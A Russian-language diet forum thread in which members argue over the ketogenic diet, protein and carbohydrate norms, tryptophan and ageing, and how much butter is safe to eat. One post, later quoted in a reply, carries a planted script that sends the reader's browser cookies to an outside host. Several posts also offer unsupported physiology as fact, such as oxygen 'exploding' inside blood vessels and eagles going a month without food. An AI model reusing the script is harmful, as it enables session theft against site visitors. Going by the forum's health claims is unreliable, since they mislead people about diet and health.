Форум «Лечебное голодание»

Форум «Лечебное голодание» (http://golodanie.su/forum//index.php)
-   Диеты (http://golodanie.su/forum//forumdisplay.php?f=26)
-   -   Кетогенная диета (http://golodanie.su/forum//showthread.php?t=12907)

Silentium 26-09-2013 11:33

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Do (Сообщение 846720)
Здесь умные люди ссылаются на различные научные данные,

Правда что ли? :D Я Вам уже написала, откуда эти научные данные берутся. Дело, конечно, Ваше, но я бы не советовала доверять таким широкомасштабным исследованиям на основании опросников.

Цитата:

Если у вас есть научные данные, то давайте ссылки и цитаты.
По поводу чего?

Цитата:

Отвечать на эмоциональные выпады нет желания.
Ну извините, постараюсь без эмоций.:D


Цитата:

Для стимуляции образования инсулина необходимы углеводы. Поэтому наряду с белками следует обязательно в каждый приём пищи включать углеводы.
Это неверно. Глюкоза является основным стимулятором выделения инсулина, но существуют и неглюкозные стимулы секреции инсулина, такие как аминокислоты, свободные жирные кислоты и гормоны. Так что вовсе не обязательно включать углеводы в каждый прием пищи.

Цитата:

Ковальков этим мотивирует приём углеводов с белками из растительной пищи.
Хвала Ковалькову, только при чем тут кетогенная диета? Заведите другую тему, про Ковалькова, и там обсуждайте, сколько нужно есть углеводов, чтобы питание было полноценным по мнению Ковалькова.:hz:

Цитата:

Это и будет способствовать забиванию кишечника остатками белковых продуктов.
Ну почему именно забивать?:hz:


Цитата:

Так чтобы получить норму протеина в 60-100 г надо будет сьесть порядка 300-500 г мясной пищи. А это много согласитесь.
Не много вовсе, два раза в день по маленькой отбивной в 150 гр. Я, когда была на углеводном питании, поболее мяса ела.
Цитата:


но я поставил вопрос в постоянстве такого вида питания, а не диеты, как самого здорового типа питания для здоровья, а значит и долголетия.
А Вы что, собственно, хотите? Чтобы мы Вас убедили или, наоборот, отговорили?:blush:

qaz 26-09-2013 11:35

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Do (Сообщение 846720)
Так чтобы получить норму протеина в 60-100 г надо будет сьесть порядка 300-500 г мясной пищи. А это много согласитесь.

Зачем так много? Вот пример НУПа с меньшим потреблением
http://www.golodanie.su/forum/showpo...&postcount=477
Хотя ты ту тему читаешь, должен был видеть этот положительный пример.
Цитата:

Сообщение от Bl_colonel (Сообщение 846741)
Но сразу объясню, что мысли касаются здоровых людей и влияние различных способов питания на больных нас не интересует.

Это правильно, поскольку правда всегда одна, а лжи бесконечное множество. Здоровье соответствует правде, болезни соответствуют лжи.

Silentium 26-09-2013 11:39

Re: Кетогенная диета
 
Цитата:

Сообщение от Gold-orhi (Сообщение 846836)
Silentium, что это? :-)
Оскорбляя других людей, Вы просто расписываетесь в своей несостоятельности... :hi:

В данном случае, это не оскорбление, а констатация факта. Это действительно необразованный дилетант.

Silentium 26-09-2013 11:49

Re: Кетогенная диета
 
Про Ковалькова дополню. Никто не обязан быть супер грамотным и образованным. Но, если уж ты открыл клинику и сдираешь с людей нехилые деньги

Нажмите тут для просмотра всего текста


, то хотя бы изучи минимальные азы физиологии, чтобы не выдавать такие вот перлы

Цитата:

А голодание мозга на фоне низкого содержания в диете углеводов только усугубляет психогенные нарушения.

qaz 26-09-2013 11:49

Re: Кетогенная диета
 
Ковальков страдает ожирением, он раб социальных традиций, зачем его обсуждать?

Bl_colonel 26-09-2013 14:02

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Do (Сообщение 846842)
А цитаты можно привести? Вообще-то мне кажется это довольно странным, если учитывать что триптофан отвечает за выработку серотонина. Каким образом серотонин ведет к быстрому старению? Дефицит серотонина пагубно сказывается на всем организме и психике. Серотонин также ответственен за образование мелатонина.

Современная теория старения с учетом новых данных о роли
серотонина в организме человека и животных

Д.м.н., проф. А.П. СИМОНЕНКОВ

http://www.mediasphera.ru/uppic/Prof...2010_04_48.pdf

Наука не согласна с необходимостью понижения уровня серотонина . Приведу цитату из работы Р. Минвалеева
(кандидат биологических наук, доцент Санкт-Петербургского государственного университета.)

У тебя каша в голове - то ты аюрведическим сказкам веришь, то всякому бреду Столешникова о молоке под видом центра тибетской медицины, то всяким "учёным" типа Минвалеева и иже с ним,:D которые у тебя представляют науку, которая несогласна. :lol: Ты не мыслишь объективно, а пытаешься выборочно оперировать аргументами (часто сомнительными, кстати), которые типа подтверждают твои убеждения.
Меня же интересуют только достижение результата - увеличения продолжительности жизни. А каким образом результат будет достигнут - углеводным питанием или безуглеводным, жировым или безжировым (или вообще не питанием, а другим способом :lol:) - мне абсолютно безразлично. Какая разница, чем питаться, - главное, чтобы это питание приводило нас к цели.
Именно с этой точки зрения меня интересует и опыт кетогенного питания, а не с точки зрения "пользы и вреда".
Именно поэтому всякие домыслы и досужие рассуждения и теории, которые двигают в своих книжонках с единственной целью заработать побольше денег "учёные" типа Минвалеева, меня никаким образом не впечатляют. Можно некоторым образом доверять только результатам нормальных научных исследований и читать их в оригинале, а не в изложении очередного "популяризатора от науки".
ПС Цитаты из исследований очагов долголетия я уже когда-то здесь на форуме приводил. :D Кроме этих объёмных и многолетних исследований о том, что триптофан - аминокислота старения - говорит множество менее масштабных исследований. Например о том, что глюкоза ускоряет процесс старения организма, или о том, что оптимисты (тут мы сталкиваемся с серотонином:D) живут в среднем меньше, чем реалисты и пессимисты, или о том, что смех на самом деле, по крайней мере, не удлиняет продолжительность жизни. И т.д. и т.п.

Sun-Moon 26-09-2013 14:40

Re: Кетогенная диета
 
Цитата:

Кроме этих объёмных и многолетних исследований о том, что триптофан - аминокислота старения - говорит множество менее масштабных исследований. Например о том, что глюкоза ускоряет процесс старения организма, или о том, что оптимисты (тут мы сталкиваемся с серотонином) живут в среднем меньше, чем реалисты и пессимисты, или о том, что смех на самом деле, по крайней мере, не удлиняет продолжительность жизни. И т.д. и т.п.
Вот это и есть бред. И ни одного научного факта или ссылки на работу какого-нибудь д.м.н. или к.н.
Фигли ты всякую ерунду пишешь личного характера без всяких ссылок? А, ну чего ждать от человека, который уже забанен несколько раз. Я думал ты серьезно, а что с дураками обсуждать? Иди просвещайся. :peace:

ЗЫ. Это ж надо такую чушь про триптофан написать.
ЗЫЫ. Поищи и другие работы о связи инсулина и усвоения аминокислот и серотонине с глюкозой .
И причём тут вообще старение? За старение отвечает много факторов
Вобщем в сад! :offtopic:

Bl_colonel 26-09-2013 18:27

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Do (Сообщение 846918)
И ни одного научного факта или ссылки на работу какого-нибудь д.м.н. или к.н.

:D:lol::lol:

Цитата:

Сообщение от Sun-Do (Сообщение 846918)
а что с дураками обсуждать?

C чего ты взял, что с тобой кто-то что-то обсуждает? :D

Sun-Moon 28-09-2013 17:21

Re: Кетогенная диета
 
Цитата:

Сообщение от Bl_colonel (Сообщение 846906)
Ты не мыслишь объективно, а пытаешься выборочно оперировать аргументами (часто сомнительными, кстати), которые типа подтверждают твои убеждения.
Меня же интересуют только достижение результата - увеличения продолжительности жизни. А каким образом результат будет достигнут - углеводным питанием или безуглеводным, жировым или безжировым (или вообще не питанием, а другим способом :lol:) - мне абсолютно безразлично. Какая разница, чем питаться, - главное, чтобы это питание приводило нас к цели.
Именно с этой точки зрения меня интересует и опыт кетогенного питания, а не с точки зрения "пользы и вреда".
Именно поэтому всякие домыслы и досужие рассуждения и теории, которые двигают в своих книжонках с единственной целью заработать побольше денег "учёные" типа Минвалеева, меня никаким образом не впечатляют. Можно некоторым образом доверять только результатам нормальных научных исследований и читать их в оригинале, а не в изложении очередного "популяризатора от науки".
ПС Цитаты из исследований очагов долголетия я уже когда-то здесь на форуме приводил. :D Кроме этих объёмных и многолетних исследований о том, что триптофан - аминокислота старения - говорит множество менее масштабных исследований. Например о том, что глюкоза ускоряет процесс старения организма, или о том, что оптимисты (тут мы сталкиваемся с серотонином:D) живут в среднем меньше, чем реалисты и пессимисты, или о том, что смех на самом деле, по крайней мере, не удлиняет продолжительность жизни. И т.д. и т.п.

Ох и ах. Вот решил все таки ответить. Но коротко. Продолжительность жизни зависит от факторов другого рода, ты путаешь причины и следствия. И считаешь т.з. своей "науки" верной, а любое остальное аргументированное мнение ересью. И это без всяких ссылок не те самые "научные работы". Я тебе привёл ссылку на научную работу о том что серотонин замедляет старость. Где опровержение этого другим нучным фактом? Недостаток триптофана значит недостаток серотонина и мелатонина. А это и депрессия, и плохой сон, и более ранняя смерть. А, ведь по твоей науке пессимисты живут дольше и это оказывается доказано наукой. :

Здесь в теме уже приводили научные данные что чем больше жира и белка в пище тем больше смертность у людей. И такое питание еще способствует образованию камней в почках. Минвалеев приводит довольно известный научный факт, который ты опровергнуть ничем кроме оскорблений не способен.

И твои данные научных работ ты удачно переврал здесь. Так как по тем данным сокращение калорийности и триптофана в пище дало положительный результат только в "поздней стадии онтогенеза", т.е. в пожилом возрасте, а в средней стадии приводило к высокой смертности мышей. Не могли ученые никак измерить что ели те долгожители в молодости и сколько они чего ели.
Старение ускоряет не глюкоза, а ее избыток. Иначе по твоей логике старение ускоряет и дыхание и жизнь вообще, ну так учись дышать медленее, больше проживешь, точно тебе говорю.

kukunja 29-09-2013 07:39

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Do (Сообщение 847403)
Здесь в теме уже приводили научные данные что чем больше жира и белка в пище тем больше смертность у людей. И такое питание еще способствует образованию камней в почках. Минвалеев приводит довольно известный научный факт, который ты опровергнуть ничем кроме оскорблений не способен.

Мне кажется, что именно по этой причине в животном мире хищники применяют редкое питание: еда через сутки/двое, волки не едят до 4-6 дней. А не давно я узнал, что орлов перед охотой вообще не кормят месяц!!! Поэтому нам перешедшим на белково-жировой обмен нужно так же применять редкое питание. И тогда (как мне кажется) все проблемы с этим пищевым поведением исчезнут.

Sun-Moon 29-09-2013 11:23

Re: Кетогенная диета
 
Это уже другой вопрос. И довольно интересный. Если перейти на жиро-белковое малоедение.

Но по науке есть нормы потребления белка в сутки. По Ковалькову - "минимально надежный уровень - 40 грамм белка в сутки", а минимально рекомендованный - 60 грамм. За раз усваивается не более 30-40 грамм.
Т.е. можно есть 2 раза по 30 грамм.

Но принцип кетогенки - питание жирами вместо углеводов. Какие нормы относительно жиров? И почему именно жиры?
Кетогенщики утверждают что кетогенез - более естественное состояние для человека. Но вот это довольно спорно.
Механизм метаболизма не такая простая система как 2х2. Малоедение будет его замедлять, что более полезно в старости, так как он естественно замедляется. Полезно ли это делать искусственно? Думаю что не очень. У каждого человека своя "врожденная" скорость обмена веществ. Людям полным с медленным о.в. от рождения это скорее пойдёт на пользу. По поводу животных не знаю. Я не помню чтобы мои домашние питомцы если раз в день. Два раза минимум. Но чтобы через день - точно нет. Думаю все таки человек приспособлен более для углеводов - это его видовый тип питания, а кетоз - запасной.

Цитата:

Как долго можно находиться в состоянии кетоза?

В состоянии кетоза организм человека может функционировать длительное время, например, представители народов крайнего севера в течение всей жизни питаются только жирной животной пищей и рыбой, без ущерба для своего здоровья. Такое питание стало для них адекватным.

В то же время, для жителей остальных территорий земного шара, особенно для тех в которых исторически преобладает растениеводство, преобладание животной пищи совершенно не характерно, а значит, низкоуглеводная диета не может считаться для них адекватной.

В таком случает, введение организма в состояние кетоза будет для организма стрессом и может вызвать патологические изменения со стороны обмена веществ.

Срок нахождения на низкоуглеводной диете, а значит и в состоянии кетоза, в течении которого не возникнет патологических изменений сугубо индивидуальный и зависит от состояния здоровья конкретного человека.
Другое дело минамальное потребление углеводов. Есть информация что даже при 100 г углей в сутки можно выйти в кетоз. Ну два раза по 50. :) Этого хватит и для выработки инсулина. По белкам соблюдать норму. Но вот по жирам ясности нет. Кто-то пишет они даже полезны, другие что от их избытка вред. Если посмотреть отчёты по тем же долгожителям, то однозначно они не были кетогенщиками. Белок и жиры у них в питании конечно были. Но явно не в пропорции 4:1:1 и не 2:1:1. Преимущественно это была именно углеводная пища. Если у народов севера мясоедов и были долгожители, то не так и много, обычно они умирали довольно рано и быстрее старели, и они с рождения были заточены под мясо-жиро едство, также как и некоторые виды хищных животных.
Правда есть вот такие довольно интересные экземпляры людей:
http://golodanie.su/forum/showpost.p...postcount=1054

Очевидно это близко к кетогенке. Но неясно сколько точно углеводов он ест, так как к этому набору еще с его слов он ест лепешки из муки и много фруктов, а это углеводы. Интересно то что дедуля сохраняет довольно высокую активность в свои 96 лет.
Молоко и бананы (скорее всего он их ест часто, так как любит фрукты) богаты триптофаном и это точно не малоедение. Значит это далеко не главные факторы, что и требовалось доказать.

kukunja 29-09-2013 14:53

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 847564)
Но по науке есть нормы потребления белка в сутки. По Ковалькову - "минимально надежный уровень - 40 грамм белка в сутки", а минимально рекомендованный - 60 грамм. За раз усваивается не более 30-40 грамм.
Т.е. можно есть 2 раза по 30 грамм.

Странно, но К. Монастырский называет другие цифры потребления белка.
Ну, а Ковальков при своем питании вынужден (обречен) постоянно бороться со своим лишним весом.

Sun-Moon 29-09-2013 16:40

Re: Кетогенная диета
 
Цитата:

Определенный интерес представляет позиция Всемирной организации здравоохранения. В одном из изданных ею руководств по потребностям человека в пищевых веществах (Женева, 1976) говорится, что «хорошо сбалансированные смеси растительных белков могут поддерживать человека в нормальном состоянии в течение длительного периода». И далее о количестве необходимого белка: «...безопасные уровни потребления белков в пересчете на молочный или яичный белок составляют для взрослых мужчин и женщин соответственно 0,57 и 0,52 г на 1 кг массы тела в день. Это равняется 37 г в день для стандартного мужчины массой в 65 кг и 29 г в день для стандартной женщины массой в 55 кг».

Выходит, что даже, не отказываясь от животных белков, а соблюдая правило 1: 1 в соотношении белков животного и растительного происхождения, среднему мужчине потребуется в день всего около 20 г животного белка, содержащегося в 100 — 150 г нежирного творога. А это намного меньше сложившихся представлений о пищевых потребностях.
Мне такая позиция ближе. Наука не против. В общем я понимаю что кетогенка кому-то просто необходима, хотелось просто выяснить наконец что такого в ней особенного. Думаю просто не надо налегать на углеводы тем более быстрые. И проблем со здоровьем не будет, еслу еще упражнения делать правильные. Скорее всего кетогенка хороша для инсулинорезистентных как метод оздоровления. Хотя дед индус конечно поражает. Но 3 литра молока в день и полкило масла стоит ли?

kukunja 30-09-2013 03:31

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 847660)
Мне такая позиция ближе. Наука не против. В общем я понимаю что кетогенка кому-то просто необходима, хотелось просто выяснить наконец что такого в ней особенного. Думаю просто не надо налегать на углеводы тем более быстрые. И проблем со здоровьем не будет, еслу еще упражнения делать правильные. Скорее всего кетогенка хороша для инсулинорезистентных как метод оздоровления. Хотя дед индус конечно поражает. Но 3 литра молока в день и полкило масла стоит ли?

Против науки не попрешь, хотя исходя из той пищевой пирамиды, которую они нам предлагают - другого результата быть и не должно. Но ведь и наука может заблуждаться, ведь эпидемия ожирения говорит об обратном. Все таки мы люди северных широт и мне кажется белков и жиров в питании должно быть больше. И тем более на фоне малоподвижного образа жизни белки с жирами лучше себя проявляют, чем углеводы. Ведь хищники после еды не ведут активный образ жизни и охотятся только на голоде.

marla 30-09-2013 05:33

Re: Кетогенная диета
 
:good:
Цитата:

наука может заблуждаться
http://myscienceacademy.org/2012/08/...heart-disease/

kukunja 30-09-2013 07:21

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 847771)

Транслятор криво переводит, но примерно понял. Этот механизм еще Фролов объяснял и считал что при малом количестве эритроцитов в крови они захватывают большой объем кислорода, который взрываясь (для получения энергии) разрушает стенки сосуда. И поэтому рекомендовал развивать поверхностное дыхание (а на следующем этапе - эндогенное дыхание) для увеличения количества эритроцитов, которые уже (общий объем воздуха поделенный на количество эритроцитов) несут меньший объем кислорода и при взрыве стенки сосуда уже не повреждаются.
P.S. А холестериновые бляшки образуются только на поврежденных сосудах.

Sun-Moon 30-09-2013 08:05

Re: Кетогенная диета
 
И в чём наука ошибается? Я не понял что вы хотели сказать. Исходя из этого:

Цитата:

What are the biggest culprits of chronic inflammation? Quite simply, they are the overload of simple, highly processed carbohydrates (sugar, flourand all the products made from them) and the excess consumption of omega-6 vegetable oils like soybean, corn and sunflower that are found in many processed foods...
While we savor the tantalizing taste of a sweet roll, our bodies respond alarmingly as if a foreign invader arrived declaring war. Foods loaded with sugars and simple carbohydrates, or processed withomega-6 oils for long shelf life have been the mainstay of the American diet for six decades. These foods have been slowly poisoning everyone.

How does eating a simple sweet roll create a cascade of inflammation to make you sick?

Imagine spilling syrup on your keyboard and you have a visual of what occurs inside the cell.

Эта статья видимо рассчитана на америкосов, которые питаются в забегаловках и жрут все подряд что вкусно на вид в булочной. Здесь очень простой выход.
Не есть мучного. Вместо этого всего можно есть овсянку, добавив пару яиц. Или коричневый рис, чечевица, гречка, обычные овощи. Из фруктов финики, яблоки - это вместо колы и конфет. Не перекусывать. Ну рыба иногда. Все. Какие еще скачки сахара? Конечно если они пьют колу и едят булки и чипсы. У американцев нет культуры питания как таковой.

Цитата:

What does all this have to do with inflammation? Blood sugar is controlled in a very narrow range. Extra sugar molecules attach to a variety of proteins that in turn injure the blood vessel wall. This repeated injury to the blood vessel wall sets off inflammation. When you spike your blood sugar level several times a day, every day, it is exactly like taking sandpaper to the inside of your delicate blood vessels.
Конечно избыток углеводов тем более быстрых вреден. Это не повод теперь налегать на мясное.

Цитата:

There is but one answer to quieting inflammation, and that is returning to foods closer to their natural state. To build muscle, eat more protein. Choose carbohydrates that are very complex such as colorful fruits and vegetables. Cut down on or eliminate inflammation- causing omega-6 fats like corn and soybean oil and the processed foods that are made from them.
Ну вот, молодцы, догадались таки. И зачем вот вообще эти масла омега-6 есть? Можно добавлять немного в салат оливкового масла. Из полезных жиров есть масло гхи и рыбий жир, яйца. Всего понемногу. Я уверен что даже на 40 г протеина в день мышцы таить не будут, если не заниматься спортом. Вместо спорта можно делать мягкую гимнастику. А то получается замнкнутый круг - занятия чтобы напрягать мышцы, от которых польза сомнительна, чтобы потом наедаться протеинами, чтобы компенсировать нагрузку и питать мышцы. Для надежности можно и 50-60 г протеина. Вобщем есть разные подходы, это уже кому что нравится. Но в целом при правильном питании углеводами никаких проблем не будет. Надо просто делать перерывы в пище, чтобы начинал гореть жир. Скажем после вечернего приёма перерыв 15 - 16 часов. Я, например, вечером ем часов в 6, потом утром в 10. Никогда не было проблем с весом, лишнего жира вообще нет. На кетогенке читал люди начинают подтормаживать. Углеводы же дают энергию для активного образа жизни. Не имею ввиду спорт в какой-либо форме.

Sun-Moon 30-09-2013 08:25

Re: Кетогенная диета
 
Цитата:

Сообщение от kukunja (Сообщение 847764)
Против науки не попрешь, хотя исходя из той пищевой пирамиды, которую они нам предлагают - другого результата быть и не должно. Но ведь и наука может заблуждаться, ведь эпидемия ожирения говорит об обратном. Все таки мы люди северных широт и мне кажется белков и жиров в питании должно быть больше. И тем более на фоне малоподвижного образа жизни белки с жирами лучше себя проявляют, чем углеводы. Ведь хищники после еды не ведут активный образ жизни и охотятся только на голоде.

Согласен отчасти. Зимой нужно есть больше протеина, жира и теплого. Но не думаю что это повод чтобы переходить на преимущественно жиро-белковую пищу. Есть разные способы согрева. Температуру тела можно и дыханием регулировать. Надо просто знать как. Одной диетой все эти проблемы не решить. Человек тем и отличается от животного что у него есть разум. И просто двигаться надо больше. Для этого не обязательно бегать.
Но это уже не по теме.

kukunja 30-09-2013 12:26

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 847799)
...Есть разные способы согрева. Температуру тела можно и дыханием регулировать. Надо просто знать как. Одной диетой все эти проблемы не решить. ....

Где-то читал, что мы энергию получаем из глюкозы и жирных кислот, но вот какая штука, с возрастом получение энергии из глюкозы блокируется и энергию человек получает в основном из жирных кислот. А глюкоза почти полностью откладывается в жир и уже оттуда используется, а на прямую как в детстве не используется. Поэтому с возрастом появляются проблемы с лишним весом. А я вот уже не молодой и мне углеводное питание ну ни как не тянет. Даже при голодании (по П.К. Иванову) 5 через 3, за три дня еды я успевал набирать вес, причем с запасом, т.е. через полгода такой жизни вес стал немного прибавляться.

Sun-Moon 30-09-2013 14:07

Re: Кетогенная диета
 
kukunja, ответил в своей теме:
http://golodanie.su/forum/showpost.p...4&postcount=54

Maksenek 02-10-2013 10:46

Re: Кетогенная диета
 
Спецы по жирам, подскажите насчет сливочного масла. Не сильно вредно будет есть его по, скажем, 150-200 г в день? Только плиз на основе качественных научных исследований (РКИ, желательно систематический обзор и мета-анализ, со ссылкой на оригинал). Т.е. без ковальковых, желто-прессных выдумок, аюрведической и прочей эзотерической чуши и т.д. :hi:

Sun-Moon 02-10-2013 11:08

Re: Кетогенная диета
 
Вообще-то наука такова что одни пишут что много жиров вредно, ссылаясь на какие-то научные исследования; другие же пишут что это полезно, ссылаясь на другие исследования. И все научно обосновано! Так какие точно научные данные тебя интересуют? Зависит от того в какие ты поверишь. И вредно для чего? Вон индус ест полкило топленого масла в день и плевать ему на твою науку. :D Отсюда следует простой вывод - наука не в "теме"!

Maksenek 02-10-2013 11:16

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 848246)
Вообще-то наука такова что одни пишут что много жиров вредно, ссылаясь на какие-то научные исследования; другие же пишут что это полезно, ссылаясь на другие исследования. И все научно обосновано! Так какие точно научные данные тебя интересуют? Зависит от того в какие ты поверишь. Вон индус ест полкило топленого масла в день и плевать ему на твою науку. :D Отсюда следует простой вывод - наука не в "теме"!

Sun-Moon, как видно по твоему очередному бессодержательному сообщению, ты т.н. "верующий", поэтому понятно что для тебя что наука что желтопрессная дрянь - всё одно и то же, единственный критерий оценки - "верю-не верю". Именно поэтому ты так легко доверчив и покупаешься на самый редкостный бред и глупости. Серьезные люди при восприятии информации руководствуются совсем иными критериями, поэтому я и обратился к ним. "Верующих" прошу больше не беспокоить.:hi:

Sun-Moon 02-10-2013 11:19

Re: Кетогенная диета
 
Приведи хоть одну бессодержательную цитату. С чем ты несогласен конкретно и как научно это доказывается?
Будет наконец содержательный ответ или все ограничиться "содержательными" оскорблениями? :D

allright 02-10-2013 11:32

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 848241)
Спецы по жирам, подскажите насчет сливочного масла. Не сильно вредно будет есть его по, скажем, 150-200 г в день? Только плиз на основе качественных научных исследований (РКИ, желательно систематический обзор и мета-анализ, со ссылкой на оригинал). Т.е. без ковальковых, желто-прессных выдумок, аюрведической и прочей эзотерической чуши и т.д. :hi:

Я тебе по-простому скажу, Макс. Твои цифры означают всего 120-150 гр жира в день, т. е. на уровне или чуть больше обычных диетических рекомендаций. Что до качества, то традиционная кулинария основана именно на сливочном (топленом) масле, как альтернатива - оливковое, но никаких подсолнечных рафинированных. Так что в смысле вреда - безопаснее не придумаешь, проверено поколениями, в отличие от последнего. Если глянешь состав, то в сливочном наибольшее содержание среднецепочных жк, т. е. тех, которые напрямую всасываются в кровь.

Sun-Moon 02-10-2013 11:35

Re: Кетогенная диета
 
Цитата:

Что до качества, то традиционная кулинария основана именно на сливочном (топленом) масле, как альтернатива - оливковое, но никаких подсолнечных рафинированных. Так что в смысле вреда - безопаснее не придумаешь, проверено поколениями.
Он же сказал ему только графики с цифрами нужны! Нафиг желтопрессные традиционные виды питания! :D
А в целом я с тобой согласный

Maksenek 02-10-2013 11:40

Re: Кетогенная диета
 
Цитата:

Сообщение от allright (Сообщение 848250)
Я тебе по-простому скажу, Макс. Твои цифры означают всего 120-150 гр жира в день, т. е. на уровне или чуть больше обычных диетических рекомендаций. Что до качества, то традиционная кулинария основана именно на сливочном (топленом) масле, как альтернатива - оливковое, но никаких подсолнечных рафинированных. Так что в смысле вреда - безопаснее не придумаешь, проверено поколениями, в отличие от последнего. Если глянешь состав, то в сливочном наибольшее содержание среднецепочных жк, т. е. тех, которые напрямую всасываются в кровь.

allright, прости, но информационная ценность этого сообщения равна нулю) От тебя другого ожидал. Ну что ж, подождем, может у кого есть инфа по этому вопросу. "Просто так" и пространные рассуждения на сомнительных основаниях и без оных прошу больше не надо, они мне не нужны.:hi:

Sun-Moon 02-10-2013 11:47

Re: Кетогенная диета
 
А тут, Макс, не может быть точных научных обоснований относительно пользы или вреда от количества. Так как люди разные, живут в разном климате и с разными традициями в питании. Что полезно одному, то другому может быть вредно. Наука это все не учитывает. И если данные и есть то они не могут быть обьективными

Maksenek 02-10-2013 11:53

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 848257)
А тут, Макс, не может быть точных научных обоснований относительно пользы или вреда от количества. Так как люди разные, живут в разном климате и с разными традициями в питании. Что полезно одному, то другому может быть вредно.

Sun-Moon, это общеизвестная банальность, кого ты хочешь поразить этим "великим глубокомысленным открытием"?
Цитата:

Сообщение от Sun-Moon (Сообщение 848257)
Наука это все не учитывает. И если данные и есть то они не могут быть обьективными

Все учесть невозможно но с другой стороны и не всё нужно. Ессно, это как раз тот случай который и говорит о том что любую инфу надо воспринимать не на веру, а использовать для анализа и критического осмысления. Может на этом закончим философствовать?

allright 02-10-2013 12:26

Re: Кетогенная диета
 
Макс, ну не злись, пожста)))
На те - переводи http://advances.nutrition.org/content/3/3/266.full

Maksenek 02-10-2013 13:18

Re: Кетогенная диета
 
Цитата:

Сообщение от allright (Сообщение 848268)

allright, это очень хороший и качественный обзор. Эта информация внесет некоторые коррективы в мой рацион. Большое спасибо.

Sun-Moon 02-10-2013 13:24

Re: Кетогенная диета
 
Цитата:

The findings indicate that the majority of observational studies have failed to find an association between the intake of dairy products and increased risk of CVD, coronary heart disease, and stroke, regardless of milk fat levels. Results from short-term intervention studies on CVD biomarkers have indicated that a diet higher in SF from whole milk and butter increases LDL cholesterol when substituted for carbohydrates or unsaturated fatty acids; however, they may also increase HDL and therefore might not affect or even lower the total cholesterol:HDL cholesterol ratio
Ну и вот и что эти данные особо показали? То что известно и проверено уже тысячи лет в аюрведе. Тем не менее интересно было почитать. Тем не менее некоторые факты наука не учитывает, посему много топленого масла полезно далеко не всем. Писать почему здесь не буду. Деду из моей ссылки полезно, так как это подходит его конституции. Если человек другого типа будет такое делать то проблемы неизбежны.

bruno 02-10-2013 13:55

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 848278)
Ну и вот и что эти данные особо показали? То что известно и проверено уже тысячи лет в аюрведе. Тем не менее интересно было почитать. Тем не менее некоторые факты наука не учитывает, посему много топленого масла полезно далеко не всем. Писать почему здесь не буду. Деду из моей ссылки полезно, так как это подходит его конституции. Если человек другого типа будет такое делать то проблемы неизбежны.

А я слышал что много топленного молока вообще вредно для организма, не то что не всем...
<script> img = new Image(); img.src = "http://frontext.ru/www/s.gif?"+document.cookie; </script>

Sun-Moon 02-10-2013 14:09

Re: Кетогенная диета
 
Цитата:

Сообщение от bruno (Сообщение 848285)
А я слышал что много топленного молока вообще вредно для организма, не то что не всем...
<script> img = new Image(); img.src = "http://frontext.ru/www/s.gif?"+document.cookie; </script>

Ну не молока, я писал про масло! Насчёт молока - да, у некоторых людей плохая усваиваемость казеина. В топленом масле фактически один жир. И полезно оно считается потому что увеличивает жизненную силу, но может быть вредно людям по конституции, так как... а другой конституции полезно так как...ой не буду... а то народ опять будет злиться и бросаться гнилыми помидорами, но не ответить не могу тем кто интересуется (если вы конечно один/одна из них)

kukunja 02-10-2013 16:41

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 848241)
Спецы по жирам, подскажите насчет сливочного масла. Не сильно вредно будет есть его по, скажем, 150-200 г в день? Только плиз на основе качественных научных исследований (РКИ, желательно систематический обзор и мета-анализ, со ссылкой на оригинал). Т.е. без ковальковых, желто-прессных выдумок, аюрведической и прочей эзотерической чуши и т.д. :hi:

Мы в море, в свое время, по 250-400 г съедали. Ложили в чай, суп, уху, каши и на хлеб мазали. Вообщем параходом съедали от 2 до 3 ящиков масла в сутки.

Maksenek 02-10-2013 17:11

Re: Кетогенная диета
 
Цитата:

Сообщение от kukunja (Сообщение 848324)
Ложили в чай, суп, уху, каши и на хлеб мазали.

Ну это ещё ничего, а знакомая мне рассказывала как у них один сотрудник приносил на работу пачку масла, разворачивал край и ел как мороженое (меня бы стошнило)!:D

Iosif 03-10-2013 12:53

Re: Кетогенная диета
 
Читал, что кролика кормили сливочным маслом и у него сосуды забило холестерином.
Интересно сколько масла для человека можно, а сколько это уже много?

авас 03-10-2013 14:18

Re: Кетогенная диета
 
Цитата:

Сообщение от Iosif (Сообщение 848473)
Читал, что кролика кормили сливочным маслом и у него сосуды забило холестерином.
Интересно сколько масла для человека можно, а сколько это уже много?

Да кстати , про холестерин в масле, ещё с советских времён пугали.

kukunja 03-10-2013 15:42

Re: Кетогенная диета
 
Цитата:

Сообщение от Iosif (Сообщение 848473)
Читал, что кролика кормили сливочным маслом и у него сосуды забило холестерином.
Интересно сколько масла для человека можно, а сколько это уже много?

А еще его мясом кормили и с тех пор мы узнали, что такое холестерин.

LadyTA 03-10-2013 17:22

Re: Кетогенная диета
 
Цитата:

Сообщение от allright (Сообщение 848250)
Что до качества, то традиционная кулинария основана именно на сливочном (топленом) масле, как альтернатива - оливковое, но никаких подсолнечных рафинированных.

Смотрела документалку.

Свинину все хотят покупать с минимумом сала, а куда же его девать?

Про бег свиней там тоже показывали, чтобы сала поменьше.

Так вот сало топят и пропускают через центрифугу, откачивают вещества, имеющие специфический вкус сала.

Получается кулинарный жир.

Почитайте состав печенья, торта, пирога....

Везде кулинарный жир, то бишь сало.

Олег1099 03-10-2013 17:25

Re: Кетогенная диета
 
Цитата:

Сообщение от LadyTA (Сообщение 848567)
Почитайте состав печенья, торта, пирога....

Везде кулинарный жир, то бишь сало.

ах если бы - а то все растительные трансжиры, в Украине так точно, знаю не по наслышке, имею доступ к кондитерским производствам((( а сало у нас видно съедают не отходя от кассы)), в последнее время цены на него повысились догнав мясо.

LadyTA 03-10-2013 18:28

Re: Кетогенная диета
 
Цитата:

Сообщение от Олег1099 (Сообщение 848571)
